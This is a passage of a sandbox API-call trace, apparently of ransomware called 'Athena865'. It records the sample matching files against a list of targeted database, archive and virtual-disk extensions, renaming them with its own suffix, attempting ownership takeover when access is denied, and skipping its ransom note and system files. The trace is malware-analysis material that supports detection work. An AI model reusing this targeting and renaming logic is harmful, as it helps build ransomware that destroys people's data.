[0035.195] lstrcmpiW (lpString1="52}", lpString2="ba_") returned -1 [0035.195] lstrlenW (lpString="dbb") returned 3 [0035.195] lstrcmpiW (lpString1="52}", lpString2="dbb") returned -1 [0035.195] lstrlenW (lpString="vmdk") returned 4 [0035.195] lstrcmpiW (lpString1="752}", lpString2="vmdk") returned -1 [0035.195] lstrlenW (lpString="rar") returned 3 [0035.195] lstrcmpiW (lpString1="52}", lpString2="rar") returned -1 [0035.195] lstrlenW (lpString="zip") returned 3 [0035.195] lstrcmpiW (lpString1="52}", lpString2="zip") returned -1 [0035.195] lstrlenW (lpString="tgz") returned 3 [0035.195] lstrcmpiW (lpString1="52}", lpString2="tgz") returned -1 [0035.195] lstrlenW (lpString="vbox") returned 4 [0035.195] lstrcmpiW (lpString1="752}", lpString2="vbox") returned -1 [0035.195] lstrlenW (lpString="vdi") returned 3 [0035.195] lstrcmpiW (lpString1="52}", lpString2="vdi") returned -1 [0035.195] lstrlenW (lpString="vhd") returned 3 [0035.195] lstrcmpiW (lpString1="52}", lpString2="vhd") returned -1 [0035.196] lstrlenW (lpString="vhdx") returned 4 [0035.196] lstrcmpiW (lpString1="752}", lpString2="vhdx") returned -1 [0035.196] lstrlenW (lpString="avhd") returned 4 [0035.196] lstrcmpiW (lpString1="752}", lpString2="avhd") returned -1 [0035.196] lstrlenW (lpString="db") returned 2 [0035.196] lstrcmpiW (lpString1="2}", lpString2="db") returned -1 [0035.196] lstrlenW (lpString="db2") returned 3 [0035.196] lstrcmpiW (lpString1="52}", lpString2="db2") returned -1 [0035.196] lstrlenW (lpString="db3") returned 3 [0035.196] lstrcmpiW (lpString1="52}", lpString2="db3") returned -1 [0035.196] lstrlenW (lpString="dbf") returned 3 [0035.196] lstrcmpiW (lpString1="52}", lpString2="dbf") returned -1 [0035.196] lstrlenW (lpString="mdf") returned 3 [0035.196] lstrcmpiW (lpString1="52}", lpString2="mdf") returned -1 [0035.196] lstrlenW (lpString="mdb") returned 3 [0035.196] lstrcmpiW (lpString1="52}", lpString2="mdb") returned -1 [0035.196] lstrlenW (lpString="sql") returned 3 [0035.196] lstrcmpiW (lpString1="52}", lpString2="sql") returned -1 [0035.196] lstrlenW (lpString="sqlite") returned 6 [0035.196] lstrcmpiW (lpString1="cc752}", lpString2="sqlite") returned -1 [0035.196] lstrlenW (lpString="sqlite3") returned 7 [0035.196] lstrcmpiW (lpString1="6cc752}", lpString2="sqlite3") returned -1 [0035.196] lstrlenW (lpString="sqlitedb") returned 8 [0035.196] lstrcmpiW (lpString1="e6cc752}", lpString2="sqlitedb") returned -1 [0035.196] lstrlenW (lpString="xml") returned 3 [0035.196] lstrcmpiW (lpString1="52}", lpString2="xml") returned -1 [0035.196] lstrlenW (lpString="$er") returned 3 [0035.196] lstrcmpiW (lpString1="52}", lpString2="$er") returned 1 [0035.196] lstrlenW (lpString="4dd") returned 3 [0035.196] lstrcmpiW (lpString1="52}", lpString2="4dd") returned 1 [0035.196] lstrlenW (lpString="4dl") returned 3 [0035.196] lstrcmpiW (lpString1="52}", lpString2="4dl") returned 1 [0035.196] lstrlenW (lpString="^^^") returned 3 [0035.196] lstrcmpiW (lpString1="52}", lpString2="^^^") returned 1 [0035.196] lstrlenW (lpString="abs") returned 3 [0035.196] lstrcmpiW (lpString1="52}", lpString2="abs") returned -1 [0035.197] lstrlenW (lpString="abx") returned 3 [0035.197] lstrcmpiW (lpString1="52}", lpString2="abx") returned -1 [0035.197] lstrlenW (lpString="accdb") returned 5 [0035.197] lstrcmpiW (lpString1="c752}", lpString2="accdb") returned 1 [0035.197] lstrlenW (lpString="accdc") returned 5 [0035.197] lstrcmpiW (lpString1="c752}", lpString2="accdc") returned 1 [0035.197] lstrlenW (lpString="accde") returned 5 [0035.197] lstrcmpiW (lpString1="c752}", lpString2="accde") returned 1 [0035.197] lstrlenW (lpString="accdr") returned 5 [0035.197] lstrcmpiW (lpString1="c752}", lpString2="accdr") returned 1 [0035.197] lstrlenW (lpString="accdt") returned 5 [0035.197] lstrcmpiW (lpString1="c752}", lpString2="accdt") returned 1 [0035.197] lstrlenW (lpString="accdw") returned 5 [0035.197] lstrcmpiW (lpString1="c752}", lpString2="accdw") returned 1 [0035.197] lstrlenW (lpString="accft") returned 5 [0035.197] lstrcmpiW (lpString1="c752}", lpString2="accft") returned 1 [0035.197] lstrlenW (lpString="adb") returned 3 [0035.197] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.197] lstrlenW (lpString="adb") returned 3 [0035.197] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.197] lstrlenW (lpString="ade") returned 3 [0035.197] lstrcmpiW (lpString1="52}", lpString2="ade") returned -1 [0035.197] lstrlenW (lpString="adf") returned 3 [0035.197] lstrcmpiW (lpString1="52}", lpString2="adf") returned -1 [0035.197] lstrlenW (lpString="adn") returned 3 [0035.197] lstrcmpiW (lpString1="52}", lpString2="adn") returned -1 [0035.197] lstrlenW (lpString="adp") returned 3 [0035.197] lstrcmpiW (lpString1="52}", lpString2="adp") returned -1 [0035.197] lstrlenW (lpString="alf") returned 3 [0035.197] lstrcmpiW (lpString1="52}", lpString2="alf") returned -1 [0035.197] lstrlenW (lpString="ask") returned 3 [0035.197] lstrcmpiW (lpString1="52}", lpString2="ask") returned -1 [0035.197] lstrlenW (lpString="btr") returned 3 [0035.197] lstrcmpiW (lpString1="52}", lpString2="btr") returned -1 [0035.197] lstrlenW (lpString="cat") returned 3 [0035.197] lstrcmpiW (lpString1="52}", lpString2="cat") returned -1 [0035.197] lstrlenW (lpString="cdb") returned 3 [0035.197] lstrcmpiW (lpString1="52}", lpString2="cdb") returned -1 [0035.198] lstrlenW (lpString="ckp") returned 3 [0035.198] lstrcmpiW (lpString1="52}", lpString2="ckp") returned -1 [0035.198] lstrlenW (lpString="cma") returned 3 [0035.198] lstrcmpiW (lpString1="52}", lpString2="cma") returned -1 [0035.198] lstrlenW (lpString="cpd") returned 3 [0035.198] lstrcmpiW (lpString1="52}", lpString2="cpd") returned -1 [0035.198] lstrlenW (lpString="dacpac") returned 6 [0035.198] lstrcmpiW (lpString1="cc752}", lpString2="dacpac") returned -1 [0035.198] lstrlenW (lpString="dad") returned 3 [0035.198] lstrcmpiW (lpString1="52}", lpString2="dad") returned -1 [0035.198] lstrlenW (lpString="dadiagrams") returned 10 [0035.198] lstrcmpiW (lpString1="46e6cc752}", lpString2="dadiagrams") returned -1 [0035.198] lstrlenW (lpString="daschema") returned 8 [0035.198] lstrcmpiW (lpString1="e6cc752}", lpString2="daschema") returned 1 [0035.198] lstrlenW (lpString="db-journal") returned 10 [0035.198] lstrcmpiW (lpString1="46e6cc752}", lpString2="db-journal") returned -1 [0035.198] lstrlenW (lpString="db-shm") returned 6 [0035.198] lstrcmpiW (lpString1="cc752}", lpString2="db-shm") returned -1 [0035.198] lstrlenW (lpString="db-wal") returned 6 [0035.198] lstrcmpiW (lpString1="cc752}", lpString2="db-wal") returned -1 [0035.198] lstrlenW (lpString="dbc") returned 3 [0035.198] lstrcmpiW (lpString1="52}", lpString2="dbc") returned -1 [0035.198] lstrlenW (lpString="dbs") returned 3 [0035.198] lstrcmpiW (lpString1="52}", lpString2="dbs") returned -1 [0035.198] lstrlenW (lpString="dbt") returned 3 [0035.198] lstrcmpiW (lpString1="52}", lpString2="dbt") returned -1 [0035.198] lstrlenW (lpString="dbv") returned 3 [0035.198] lstrcmpiW (lpString1="52}", lpString2="dbv") returned -1 [0035.198] lstrlenW (lpString="dbx") returned 3 [0035.198] lstrcmpiW (lpString1="52}", lpString2="dbx") returned -1 [0035.198] lstrlenW (lpString="dcb") returned 3 [0035.198] lstrcmpiW (lpString1="52}", lpString2="dcb") returned -1 [0035.198] lstrlenW (lpString="dct") returned 3 [0035.198] lstrcmpiW (lpString1="52}", lpString2="dct") returned -1 [0035.198] lstrlenW (lpString="dcx") returned 3 [0035.198] lstrcmpiW (lpString1="52}", lpString2="dcx") returned -1 [0035.198] lstrlenW (lpString="ddl") returned 3 [0035.199] lstrcmpiW (lpString1="52}", lpString2="ddl") returned -1 [0035.199] lstrlenW (lpString="dlis") returned 4 [0035.199] lstrcmpiW (lpString1="752}", lpString2="dlis") returned -1 [0035.199] lstrlenW (lpString="dp1") returned 3 [0035.199] lstrcmpiW (lpString1="52}", lpString2="dp1") returned -1 [0035.199] lstrlenW (lpString="dqy") returned 3 [0035.199] lstrcmpiW (lpString1="52}", lpString2="dqy") returned -1 [0035.199] lstrlenW (lpString="dsk") returned 3 [0035.199] lstrcmpiW (lpString1="52}", lpString2="dsk") returned -1 [0035.199] lstrlenW (lpString="dsn") returned 3 [0035.199] lstrcmpiW (lpString1="52}", lpString2="dsn") returned -1 [0035.199] lstrlenW (lpString="dtsx") returned 4 [0035.199] lstrcmpiW (lpString1="752}", lpString2="dtsx") returned -1 [0035.199] lstrlenW (lpString="dxl") returned 3 [0035.199] lstrcmpiW (lpString1="52}", lpString2="dxl") returned -1 [0035.199] lstrlenW (lpString="eco") returned 3 [0035.199] lstrcmpiW (lpString1="52}", lpString2="eco") returned -1 [0035.199] lstrlenW (lpString="ecx") returned 3 [0035.199] lstrcmpiW (lpString1="52}", lpString2="ecx") returned -1 [0035.199] lstrlenW (lpString="edb") returned 3 [0035.199] lstrcmpiW (lpString1="52}", lpString2="edb") returned -1 [0035.199] lstrlenW (lpString="epim") returned 4 [0035.199] lstrcmpiW (lpString1="752}", lpString2="epim") returned -1 [0035.199] lstrlenW (lpString="fcd") returned 3 [0035.199] lstrcmpiW (lpString1="52}", lpString2="fcd") returned -1 [0035.199] lstrlenW (lpString="fdb") returned 3 [0035.199] lstrcmpiW (lpString1="52}", lpString2="fdb") returned -1 [0035.199] lstrlenW (lpString="fic") returned 3 [0035.199] lstrcmpiW (lpString1="52}", lpString2="fic") returned -1 [0035.199] lstrlenW (lpString="flexolibrary") returned 12 [0035.199] lstrcmpiW (lpString1="4046e6cc752}", lpString2="flexolibrary") returned -1 [0035.199] lstrlenW (lpString="fm5") returned 3 [0035.199] lstrcmpiW (lpString1="52}", lpString2="fm5") returned -1 [0035.199] lstrlenW (lpString="fmp") returned 3 [0035.199] lstrcmpiW (lpString1="52}", lpString2="fmp") returned -1 [0035.199] lstrlenW (lpString="fmp12") returned 5 [0035.199] lstrcmpiW (lpString1="c752}", lpString2="fmp12") returned -1 [0035.199] lstrlenW (lpString="fmpsl") returned 5 [0035.200] lstrcmpiW (lpString1="c752}", lpString2="fmpsl") returned -1 [0035.200] lstrlenW (lpString="fol") returned 3 [0035.200] lstrcmpiW (lpString1="52}", lpString2="fol") returned -1 [0035.200] lstrlenW (lpString="fp3") returned 3 [0035.200] lstrcmpiW (lpString1="52}", lpString2="fp3") returned -1 [0035.200] lstrlenW (lpString="fp4") returned 3 [0035.200] lstrcmpiW (lpString1="52}", lpString2="fp4") returned -1 [0035.200] lstrlenW (lpString="fp5") returned 3 [0035.200] lstrcmpiW (lpString1="52}", lpString2="fp5") returned -1 [0035.200] lstrlenW (lpString="fp7") returned 3 [0035.200] lstrcmpiW (lpString1="52}", lpString2="fp7") returned -1 [0035.200] lstrlenW (lpString="fpt") returned 3 [0035.200] lstrcmpiW (lpString1="52}", lpString2="fpt") returned -1 [0035.200] lstrlenW (lpString="frm") returned 3 [0035.200] lstrcmpiW (lpString1="52}", lpString2="frm") returned -1 [0035.200] lstrlenW (lpString="gdb") returned 3 [0035.200] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.200] lstrlenW (lpString="gdb") returned 3 [0035.200] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.200] lstrlenW (lpString="grdb") returned 4 [0035.200] lstrcmpiW (lpString1="752}", lpString2="grdb") returned -1 [0035.200] lstrlenW (lpString="gwi") returned 3 [0035.200] lstrcmpiW (lpString1="52}", lpString2="gwi") returned -1 [0035.200] lstrlenW (lpString="hdb") returned 3 [0035.200] lstrcmpiW (lpString1="52}", lpString2="hdb") returned -1 [0035.200] lstrlenW (lpString="his") returned 3 [0035.200] lstrcmpiW (lpString1="52}", lpString2="his") returned -1 [0035.200] lstrlenW (lpString="ib") returned 2 [0035.200] lstrcmpiW (lpString1="2}", lpString2="ib") returned -1 [0035.200] lstrlenW (lpString="idb") returned 3 [0035.200] lstrcmpiW (lpString1="52}", lpString2="idb") returned -1 [0035.200] lstrlenW (lpString="ihx") returned 3 [0035.200] lstrcmpiW (lpString1="52}", lpString2="ihx") returned -1 [0035.200] lstrlenW (lpString="itdb") returned 4 [0035.200] lstrcmpiW (lpString1="752}", lpString2="itdb") returned -1 [0035.200] lstrlenW (lpString="itw") returned 3 [0035.200] lstrcmpiW (lpString1="52}", lpString2="itw") returned -1 [0035.201] lstrlenW (lpString="jet") returned 3 [0035.201] lstrcmpiW (lpString1="52}", lpString2="jet") returned -1 [0035.201] lstrlenW (lpString="jtx") returned 3 [0035.201] lstrcmpiW (lpString1="52}", lpString2="jtx") returned -1 [0035.201] lstrlenW (lpString="kdb") returned 3 [0035.201] lstrcmpiW (lpString1="52}", lpString2="kdb") returned -1 [0035.201] lstrlenW (lpString="kexi") returned 4 [0035.201] lstrcmpiW (lpString1="752}", lpString2="kexi") returned -1 [0035.201] lstrlenW (lpString="kexic") returned 5 [0035.201] lstrcmpiW (lpString1="c752}", lpString2="kexic") returned -1 [0035.201] lstrlenW (lpString="kexis") returned 5 [0035.201] lstrcmpiW (lpString1="c752}", lpString2="kexis") returned -1 [0035.201] lstrlenW (lpString="lgc") returned 3 [0035.201] lstrcmpiW (lpString1="52}", lpString2="lgc") returned -1 [0035.201] lstrlenW (lpString="lwx") returned 3 [0035.201] lstrcmpiW (lpString1="52}", lpString2="lwx") returned -1 [0035.201] lstrlenW (lpString="maf") returned 3 [0035.201] lstrcmpiW (lpString1="52}", lpString2="maf") returned -1 [0035.201] lstrlenW (lpString="maq") returned 3 [0035.201] lstrcmpiW (lpString1="52}", lpString2="maq") returned -1 [0035.201] lstrlenW (lpString="mar") returned 3 [0035.201] lstrcmpiW (lpString1="52}", lpString2="mar") returned -1 [0035.201] lstrlenW (lpString="marshal") returned 7 [0035.201] lstrcmpiW (lpString1="6cc752}", lpString2="marshal") returned -1 [0035.201] lstrlenW (lpString="mas") returned 3 [0035.201] lstrcmpiW (lpString1="52}", lpString2="mas") returned -1 [0035.201] lstrlenW (lpString="mav") returned 3 [0035.201] lstrcmpiW (lpString1="52}", lpString2="mav") returned -1 [0035.201] lstrlenW (lpString="maw") returned 3 [0035.201] lstrcmpiW (lpString1="52}", lpString2="maw") returned -1 [0035.201] lstrlenW (lpString="mdbhtml") returned 7 [0035.201] lstrcmpiW (lpString1="6cc752}", lpString2="mdbhtml") returned -1 [0035.201] lstrlenW (lpString="mdn") returned 3 [0035.201] lstrcmpiW (lpString1="52}", lpString2="mdn") returned -1 [0035.201] lstrlenW (lpString="mdt") returned 3 [0035.201] lstrcmpiW (lpString1="52}", lpString2="mdt") returned -1 [0035.201] lstrlenW (lpString="mfd") returned 3 [0035.201] lstrcmpiW (lpString1="52}", lpString2="mfd") returned -1 [0035.202] lstrlenW (lpString="mpd") returned 3 [0035.202] lstrcmpiW (lpString1="52}", lpString2="mpd") returned -1 [0035.202] lstrlenW (lpString="mrg") returned 3 [0035.202] lstrcmpiW (lpString1="52}", lpString2="mrg") returned -1 [0035.202] lstrlenW (lpString="mud") returned 3 [0035.202] lstrcmpiW (lpString1="52}", lpString2="mud") returned -1 [0035.202] lstrlenW (lpString="mwb") returned 3 [0035.202] lstrcmpiW (lpString1="52}", lpString2="mwb") returned -1 [0035.202] lstrlenW (lpString="myd") returned 3 [0035.202] lstrcmpiW (lpString1="52}", lpString2="myd") returned -1 [0035.202] lstrlenW (lpString="ndf") returned 3 [0035.202] lstrcmpiW (lpString1="52}", lpString2="ndf") returned -1 [0035.202] lstrlenW (lpString="nnt") returned 3 [0035.202] lstrcmpiW (lpString1="52}", lpString2="nnt") returned -1 [0035.202] lstrlenW (lpString="nrmlib") returned 6 [0035.202] lstrcmpiW (lpString1="cc752}", lpString2="nrmlib") returned -1 [0035.202] lstrlenW (lpString="ns2") returned 3 [0035.202] lstrcmpiW (lpString1="52}", lpString2="ns2") returned -1 [0035.202] lstrlenW (lpString="ns3") returned 3 [0035.202] lstrcmpiW (lpString1="52}", lpString2="ns3") returned -1 [0035.202] lstrlenW (lpString="ns4") returned 3 [0035.202] lstrcmpiW (lpString1="52}", lpString2="ns4") returned -1 [0035.202] lstrlenW (lpString="nsf") returned 3 [0035.202] lstrcmpiW (lpString1="52}", lpString2="nsf") returned -1 [0035.202] lstrlenW (lpString="nv") returned 2 [0035.202] lstrcmpiW (lpString1="2}", lpString2="nv") returned -1 [0035.202] lstrlenW (lpString="nv2") returned 3 [0035.202] lstrcmpiW (lpString1="52}", lpString2="nv2") returned -1 [0035.202] lstrlenW (lpString="nwdb") returned 4 [0035.202] lstrcmpiW (lpString1="752}", lpString2="nwdb") returned -1 [0035.202] lstrlenW (lpString="nyf") returned 3 [0035.202] lstrcmpiW (lpString1="52}", lpString2="nyf") returned -1 [0035.202] lstrlenW (lpString="odb") returned 3 [0035.202] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.202] lstrlenW (lpString="odb") returned 3 [0035.202] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.202] lstrlenW (lpString="oqy") returned 3 [0035.203] lstrcmpiW (lpString1="52}", lpString2="oqy") returned -1 [0035.203] lstrlenW (lpString="ora") returned 3 [0035.203] lstrcmpiW (lpString1="52}", lpString2="ora") returned -1 [0035.203] lstrlenW (lpString="orx") returned 3 [0035.203] lstrcmpiW (lpString1="52}", lpString2="orx") returned -1 [0035.203] lstrlenW (lpString="owc") returned 3 [0035.203] lstrcmpiW (lpString1="52}", lpString2="owc") returned -1 [0035.203] lstrlenW (lpString="p96") returned 3 [0035.203] lstrcmpiW (lpString1="52}", lpString2="p96") returned -1 [0035.203] lstrlenW (lpString="p97") returned 3 [0035.203] lstrcmpiW (lpString1="52}", lpString2="p97") returned -1 [0035.203] lstrlenW (lpString="pan") returned 3 [0035.203] lstrcmpiW (lpString1="52}", lpString2="pan") returned -1 [0035.203] lstrlenW (lpString="pdb") returned 3 [0035.203] lstrcmpiW (lpString1="52}", lpString2="pdb") returned -1 [0035.203] lstrlenW (lpString="pdm") returned 3 [0035.203] lstrcmpiW (lpString1="52}", lpString2="pdm") returned -1 [0035.203] lstrlenW (lpString="pnz") returned 3 [0035.203] lstrcmpiW (lpString1="52}", lpString2="pnz") returned -1 [0035.203] lstrlenW (lpString="qry") returned 3 [0035.203] lstrcmpiW (lpString1="52}", lpString2="qry") returned -1 [0035.203] lstrlenW (lpString="qvd") returned 3 [0035.203] lstrcmpiW (lpString1="52}", lpString2="qvd") returned -1 [0035.203] lstrlenW (lpString="rbf") returned 3 [0035.203] lstrcmpiW (lpString1="52}", lpString2="rbf") returned -1 [0035.203] lstrlenW (lpString="rctd") returned 4 [0035.203] lstrcmpiW (lpString1="752}", lpString2="rctd") returned -1 [0035.203] lstrlenW (lpString="rod") returned 3 [0035.203] lstrcmpiW (lpString1="52}", lpString2="rod") returned -1 [0035.203] lstrlenW (lpString="rodx") returned 4 [0035.203] lstrcmpiW (lpString1="752}", lpString2="rodx") returned -1 [0035.203] lstrlenW (lpString="rpd") returned 3 [0035.203] lstrcmpiW (lpString1="52}", lpString2="rpd") returned -1 [0035.203] lstrlenW (lpString="rsd") returned 3 [0035.203] lstrcmpiW (lpString1="52}", lpString2="rsd") returned -1 [0035.203] lstrlenW (lpString="sas7bdat") returned 8 [0035.203] lstrcmpiW (lpString1="e6cc752}", lpString2="sas7bdat") returned -1 [0035.204] lstrlenW (lpString="sbf") returned 3 [0035.204] lstrcmpiW (lpString1="52}", lpString2="sbf") returned -1 [0035.204] lstrlenW (lpString="scx") returned 3 [0035.204] lstrcmpiW (lpString1="52}", lpString2="scx") returned -1 [0035.204] lstrlenW (lpString="sdb") returned 3 [0035.204] lstrcmpiW (lpString1="52}", lpString2="sdb") returned -1 [0035.204] lstrlenW (lpString="sdc") returned 3 [0035.204] lstrcmpiW (lpString1="52}", lpString2="sdc") returned -1 [0035.204] lstrlenW (lpString="sdf") returned 3 [0035.204] lstrcmpiW (lpString1="52}", lpString2="sdf") returned -1 [0035.204] lstrlenW (lpString="sis") returned 3 [0035.204] lstrcmpiW (lpString1="52}", lpString2="sis") returned -1 [0035.204] lstrlenW (lpString="spq") returned 3 [0035.204] lstrcmpiW (lpString1="52}", lpString2="spq") returned -1 [0035.204] lstrlenW (lpString="te") returned 2 [0035.204] lstrcmpiW (lpString1="2}", lpString2="te") returned -1 [0035.204] lstrlenW (lpString="teacher") returned 7 [0035.204] lstrcmpiW (lpString1="6cc752}", lpString2="teacher") returned -1 [0035.204] lstrlenW (lpString="tmd") returned 3 [0035.204] lstrcmpiW (lpString1="52}", lpString2="tmd") returned -1 [0035.204] lstrlenW (lpString="tps") returned 3 [0035.204] lstrcmpiW (lpString1="52}", lpString2="tps") returned -1 [0035.204] lstrlenW (lpString="trc") returned 3 [0035.204] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.204] lstrlenW (lpString="trc") returned 3 [0035.204] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.204] lstrlenW (lpString="trm") returned 3 [0035.204] lstrcmpiW (lpString1="52}", lpString2="trm") returned -1 [0035.204] lstrlenW (lpString="udb") returned 3 [0035.204] lstrcmpiW (lpString1="52}", lpString2="udb") returned -1 [0035.204] lstrlenW (lpString="udl") returned 3 [0035.204] lstrcmpiW (lpString1="52}", lpString2="udl") returned -1 [0035.204] lstrlenW (lpString="usr") returned 3 [0035.204] lstrcmpiW (lpString1="52}", lpString2="usr") returned -1 [0035.204] lstrlenW (lpString="v12") returned 3 [0035.204] lstrcmpiW (lpString1="52}", lpString2="v12") returned -1 [0035.204] lstrlenW (lpString="vis") returned 3 [0035.204] lstrcmpiW (lpString1="52}", lpString2="vis") returned -1 [0035.204] lstrlenW (lpString="vpd") returned 3 [0035.205] lstrcmpiW (lpString1="52}", lpString2="vpd") returned -1 [0035.205] lstrlenW (lpString="vvv") returned 3 [0035.205] lstrcmpiW (lpString1="52}", lpString2="vvv") returned -1 [0035.205] lstrlenW (lpString="wdb") returned 3 [0035.205] lstrcmpiW (lpString1="52}", lpString2="wdb") returned -1 [0035.205] lstrlenW (lpString="wmdb") returned 4 [0035.205] lstrcmpiW (lpString1="752}", lpString2="wmdb") returned -1 [0035.205] lstrlenW (lpString="wrk") returned 3 [0035.205] lstrcmpiW (lpString1="52}", lpString2="wrk") returned -1 [0035.205] lstrlenW (lpString="xdb") returned 3 [0035.205] lstrcmpiW (lpString1="52}", lpString2="xdb") returned -1 [0035.205] lstrlenW (lpString="xld") returned 3 [0035.205] lstrcmpiW (lpString1="52}", lpString2="xld") returned -1 [0035.205] lstrlenW (lpString="xmlff") returned 5 [0035.205] lstrcmpiW (lpString1="c752}", lpString2="xmlff") returned -1 [0035.205] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865") returned 115 [0035.205] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" (normalized: "c:\\system volume information\\{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}"), lpNewFileName="C:\\System Volume Information\\{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865" (normalized: "c:\\system volume information\\{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.athena865"), dwFlags=0x1) returned 0 [0035.205] GetLastError () returned 0x5 [0035.205] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b8, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4c8 | out: pSid=0x241d4c8*=0x50dc40*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0035.205] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4d4 | out: pSid=0x241d4d4*=0x50dc58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0035.205] SetEntriesInAclW () returned 0x0 [0035.205] SetNamedSecurityInfoW () returned 0x5 [0035.205] SetNamedSecurityInfoW () returned 0x5 [0035.205] LocalFree (hMem=0x529490) returned 0x0 [0035.205] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx TakeOwnership error %i\r\n" | out: param_1="[ERROR] C:\\System Volume Information\\{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.205] lstrlenA (lpString="[ERROR] C:\\System Volume Information\\{7381dc5b-4993-11e7-87dc-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.205] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0035.206] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x79a [0035.206] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x94, lpOverlapped=0x0) returned 1 [0035.206] CloseHandle (hObject=0x154) returned 1 [0035.206] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.207] CloseHandle (hObject=0x0) returned 0 [0035.207] CloseHandle (hObject=0x0) returned 0 [0035.207] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe44a8f70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe44a8f70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4106b380, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x43130000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", cAlternateFileName="{8456A~1")) returned 1 [0035.207] lstrcmpiW (lpString1="{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.207] lstrcmpiW (lpString1="{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.207] lstrcmpiW (lpString1="{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".") returned 1 [0035.207] lstrcmpiW (lpString1="{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="..") returned 1 [0035.207] lstrcmpiW (lpString1="{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="windows") returned -1 [0035.207] lstrcmpiW (lpString1="{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="bootmgr") returned -1 [0035.207] lstrcmpiW (lpString1="{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="temp") returned -1 [0035.207] lstrcmpiW (lpString1="{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="pagefile.sys") returned -1 [0035.207] lstrcmpiW (lpString1="{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="boot") returned -1 [0035.207] lstrcmpiW (lpString1="{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ids.txt") returned -1 [0035.207] lstrcmpiW (lpString1="{8456a7db-6db1-11e7-9a97-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", 